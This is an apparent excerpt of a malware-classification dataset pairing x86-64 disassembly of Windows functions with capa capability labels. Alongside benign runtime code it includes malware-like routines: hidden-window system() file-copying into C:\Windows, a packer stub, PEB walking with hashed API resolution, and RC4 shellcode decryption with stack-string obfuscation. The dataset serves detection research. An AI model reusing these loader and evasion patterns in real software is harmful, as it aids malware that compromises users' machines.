joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b7c70
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1400b7c8c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400b7ce0
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400b7e05
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1400b7e05
test rax, rax
je 0x1400b7e05
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1400b7e05
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1400b7d7a
lea rax, [0x1400b7e60]
jmp 0x1400b7dd3
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1400b7e05
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400b7df3
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1400b7da0
lea rax, [0x1400b7e30]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1400b7e1a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1400b93f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1400b93fb
xor eax, eax
ret
lea r11, [0x1400dbf00]
not ecx
cmp r8d, 8
jb 0x1400b94d1
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1400b9420
test r8d, r8d
je 0x1400b94fd
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1400b94e0
not ecx
mov eax, ecx
ret
Function at 0x1400bde24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400bde6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400bde6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400bde6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400bde6e
cmp dword [rcx + 0x84], 0xe
jbe 0x1400bde6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400bde70
xor al, al
add rsp, 0x28
ret
Function at 0x14002c92c
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14002c700
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002c700
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002c700
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002c700
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002c700
cmp dword [rcx + 0x84], 0xe
jbe 0x14002c700
cmp dword [rcx + 0xf8], esi
je 0x14002c700
mov ecx, r14d
call fcn.14002c848
mov ecx, 2
call fcn.14002ff38
nop
cmp byte [0x14006c668], 0
jne 0x14002c7ca
mov r15d, 1
mov eax, r15d
xchg dword [0x14006c658], eax
test ebx, ebx
jne 0x14002c773
mov rdi, qword [0x140049860]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14006c660]
cmp rcx, rax
je 0x14002c76a
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140024400]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14006c798]
jmp 0x14002c77f
cmp ebx, r15d
jne 0x14002c785
lea rcx, [0x14006c7b0]
call fcn.14002d2bc
nop
test ebx, ebx
jne 0x14002c79c
lea rdx, [0x1400385a8]
lea rcx, [0x140038588]
call fcn.14002d624
lea rdx, [0x1400385b8]
lea rcx, [0x1400385b0]
call fcn.14002d624
movzx eax, byte [0x14006c668]
test esi, esi
cmove eax, r15d
mov byte [0x14006c668], al
jmp 0x14002c7ca
mov ecx, 2
call fcn.14002ff98
test esi, esi
jne 0x14002c7e1
mov ecx, r14d
call fcn.14002c7fc
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14002c690

Function at 0x140001c78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cc4
xor al, al
add rsp, 0x28
ret
Function at 0x140001290
Capabilities:
Execute command
Hide graphical window

Disassembly:
sub rsp, 0x158
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x140], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x30]
call fcn.140002100
nop
cmp qword [rsp + 0xb8], 0
je 0x140001319
lea rcx, [rsp + 0x30]
call fcn.1400025d0
lea rcx, [rsp + 0x38]
call fcn.140002520
test rax, rax
jne 0x140001319
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [0x1400044f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140004508]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140004520]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140004540]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140004568]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140004590]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.md_C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_huy.exe__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_save.txt__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesVideo0Video0.mp4__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesVideo1Video1.mp4__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesVideo2Video2.mp4__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesVideo3Video3.mp4__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesAudio0.wav__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesAudio1.wav__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_MemesAudio2.wav__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.copy_ReturnReg.bat__C:Wind
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x30]
call fcn.140001420
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140002ae0
add rsp, 0x158
ret
Function at 0x140001e90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140001ebd
xor eax, eax
jmp 0x140002029
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140001ef7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140001ef7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002029
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000201c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140001f3a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140001f65
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002021
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140001fd4
sub eax, 1
je 0x140001fd4
cmp eax, 2
jne 0x14000201c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002021
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002002
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000201c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002021
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002ae0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002430
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002503
cmp byte [rcx + 0x71], 0
je 0x140002503
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400024ff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400024c4
sub eax, 1
je 0x1400024c8
cmp eax, 2
jne 0x1400024ff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002ae0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400024f6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400024ff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400024ac
xor al, al
jmp 0x1400024ac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002ae0
add rsp, 0x60
pop rbx
ret

Function at 0x140003474
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400034be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400034be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400034be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400034be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400034be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400034c0
xor al, al
add rsp, 0x28
ret
Function at 0x1400a4e10
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400a4e1d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400a4e2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400a4e15
lea eax, [rcx + 1]
jmp 0x1400a4e3b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400a4e4e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400a4e34
sub eax, 3
jb 0x1400a4e6e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400a4ebd
sar eax, 1
movsxd rbp, eax
jb 0x1400a4ea4
jmp 0x1400a4e7c
add ebx, ebx
jne 0x1400a4e7a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400a4ea4
inc ecx
add ebx, ebx
jne 0x1400a4e8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400a4ea4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400a4e9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400a4e8c
add ecx, 2
jmp 0x1400a4ea9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400a4dd2
jmp 0x1400a4e1d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x6f400
mov dl, 0x17
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400a4f09
cmp rsi, rcx
jae 0x1400a4f11
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400a4ef0
cmp al, 0x8f
ja 0x1400a4ef0
cmp byte [rsi - 2], 0xf
je 0x1400a4ef6
sub al, 0xe8
cmp al, 1
ja 0x1400a4eda
cmp rsi, rcx
jae 0x1400a4f11
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400a4ee0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400a4f11
lodsb al, byte [rsi]
jmp 0x1400a4ef0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xa2000]
mov eax, dword [rdi]
or eax, eax
je 0x1400a4f6e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xa51dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400a4f1e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400a4f68
mov qword [rbx], rax
add rbx, 8
jmp 0x1400a4f3e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400a4fa8
cmp al, 0xef
ja 0x1400a4f9a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400a4f7a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400a4f89
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400a4ffc
sub rsp, 0xffffffffffffff80
jmp 0x14001a480
Function at 0x140005644
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000567e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140005683
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400056cc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400083c0]
cmp byte [rcx + rax], 0
je 0x1400056cc
dec r8
sub rdx, 1
jne 0x1400056b2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000696c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400069b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400069b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400069b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400069b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400069b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400069b8
xor al, al
add rsp, 0x28
ret
Function at 0x140004720
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x10
mov rax, qword gs:[0x60]
mov ebp, ecx
mov rdx, qword [rax + 0x18]
mov rsi, qword [rdx + 0x10]
mov rbx, qword [rsi + 0x30]
test rbx, rbx
je 0x14000481f
xor r14d, r14d
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movsxd rax, dword [rbx + 0x3c]
mov r9d, r14d
mov rsi, qword [rsi]
movups xmmword [rsp], xmm0
mov r10d, dword [rax + rbx + 0x88]
test r10d, r10d
je 0x140004812
mov rax, qword [rsp]
shr rax, 0x10
cmp r14w, ax
jae 0x1400047bb
mov rcx, qword [rsp + 8]
movzx r8d, ax
nop word [rax + rax]
movsx eax, byte [rcx]
ror r9d, 0xd
cmp al, 0x61
jl 0x1400047af
add r9d, 0xffffffe0
add r9d, eax
inc rcx
sub r8, 1
jne 0x1400047a0
mov eax, dword [rbx + r10 + 0x20]
lea rdi, [rbx + r10]
mov r10d, dword [rbx + r10 + 0x18]
add rax, rbx
dec r10d
lea r11, [rax + r10*4]
cmp r10d, 1
jbe 0x140004812
nop dword [rax]
mov r8d, dword [r11]
lea r11, [r11 - 4]
add r8, rbx
mov eax, r14d
nop dword [rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
ror eax, 0xd
add eax, edx
test dl, dl
jne 0x1400047f0
lea ecx, [rax + r9]
cmp ecx, ebp
je 0x14000483c
dec r10d
cmp r10d, 1
ja 0x1400047e0
mov rbx, qword [rsi + 0x30]
test rbx, rbx
jne 0x140004760
xor eax, eax
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
add rsp, 0x10
pop r14
ret
mov eax, dword [rdi + 0x24]
lea ecx, [r10 + r10]
add rax, rbx
movzx edx, word [rcx + rax]
mov ecx, dword [rdi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
jmp 0x140004821
Function at 0x1400048d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rbp + 0xa0], rax
lea rcx, str.___Decrypting_SC..._n
call fcn.140004870
mov r8d, 0x114
lea rdx, str.SC_size:__lu_bytes
lea rcx, [rbp - 0x60]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r9d, 0x40
lea r8, str.SC_Size
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor esi, esi
lea rdi, [rsp + 0x60]
mov ebx, esi
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi], rax
test rax, rax
je 0x14000498d
inc ebx
add rdi, 8
cmp ebx, 2
jb 0x140004950
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov r9d, 0xbb8
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
jmp 0x140004999
lea rcx, str.CreateEvent
call fcn.140004870
mov ecx, 0xbdbf9c13
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x2c], esi
mov dword [rbp - 0x78], 0x640061
mov dword [rbp - 0x74], 0x610076
mov dword [rbp - 0x70], 0x690070
mov dword [rbp - 0x6c], 0x320033
mov dword [rbp - 0x68], 0x64002e
mov dword [rbp - 0x64], 0x6c006c
mov dword [rsp + 0x70], 0x74737953
mov dword [rsp + 0x74], 0x75466d65
mov dword [rsp + 0x78], 0x6974636e
mov dword [rsp + 0x7c], 0x33306e6f
mov byte [rbp - 0x80], 0x32
mov dword [rsp + 0x3c], esi
call fcn.140004720
mov ecx, 0x5ed941b5
mov rbx, rax
call fcn.140004720
mov rdi, rax
mov dword [rsp + 0x28], 0x180018
lea rax, [rbp - 0x78]
xor edx, edx
lea r9, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x28]
xor ecx, ecx
call rbx
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea r9, [rsp + 0x20]
mov dword [rsp + 0x38], 0x110011
lea rdx, [rsp + 0x38]
call rdi
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x140004a9e
lea rcx, [0x140021a40]
mov qword [rsp + 0x60], 0x114
mov qword [rsp + 0x68], rcx
lea rdx, [rsp + 0x50]
lea rcx, str.mysecretkey
mov qword [rsp + 0x50], 0xb
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x60]
call rax
test eax, eax
jne 0x140004a9e
call fcn.1400044a0
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140004b50
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140004ad0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, 0xffff8000
mov ecx, 2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea ecx, [rbx + 1]
and ax, di
cmp ax, di
cmovne ecx, ebx
mov ebx, ecx
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 5
jb 0x140004ae1
call fcn.140002620
test eax, eax
jne 0x140004b21
call section..text
test eax, eax
jne 0x140004b21
call fcn.1400048d0
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret

Function at 0x140009044
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
